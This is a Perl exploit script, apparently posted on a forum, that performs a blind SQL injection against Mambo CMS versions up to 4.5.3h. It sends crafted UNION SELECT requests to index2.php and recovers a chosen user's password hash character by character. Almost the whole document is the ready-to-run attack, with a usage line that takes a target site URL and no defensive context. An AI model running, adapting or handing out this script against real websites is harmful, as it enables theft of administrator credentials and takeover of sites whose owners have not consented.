Mambo <= 4.5.3h Remote Sql Injection
Код:
#!/usr/bin/perl -w
use LWP::UserAgent;
print q{
Mambo <= 4.5.3h Remote Sql Injection Exploit (gpc = off)
Exploit written by KingOfSka @ contropotere.netsons.org
discovered by James Bercegay of the GulfTech Security Research Team
};
$ua = new LWP::UserAgent;
$ua->agent("ControPotereExploiter" . $ua->agent);
if (!$ARGV[1]) {$ARGV[1] = 'admin';}
my $user = $ARGV[1];
if (!$ARGV[0])
{
print "Usage: mambo.pl http://www.site.com/mambo [nickname] \n\n";
exit;
}
my @charset = ("0","1","2","3","4","5","6","7","8","9","a","b","c","d","e","f");
my $outputs = '';
for( $i=1; $i < 33; $i++ )
{
for( $j=0; $j < 16; $j++ )
{
my $current = $charset[$j];
my $path = $ARGV[0] . "/index2.php?option=com_content&task=-99'%20UNION%20SELECT%20password%20FROM%20mos_users%20WHERE%20username='$user'%20AND%20MID(password,$i,1)='$current'/*";
my $res = $ua->get($path);
$pattern = 'You are not authorized to view this resource';
$_ = $res->content;
if ( (/$pattern/) )
{
$outputs .= $current;
print "$i/32 found\n";
last;
}
}
if ( length($outputs) < 1 ) { print "Not Exploitable!\n"; exit; }
}
print "Password Hash is : $outputs \n";
exit;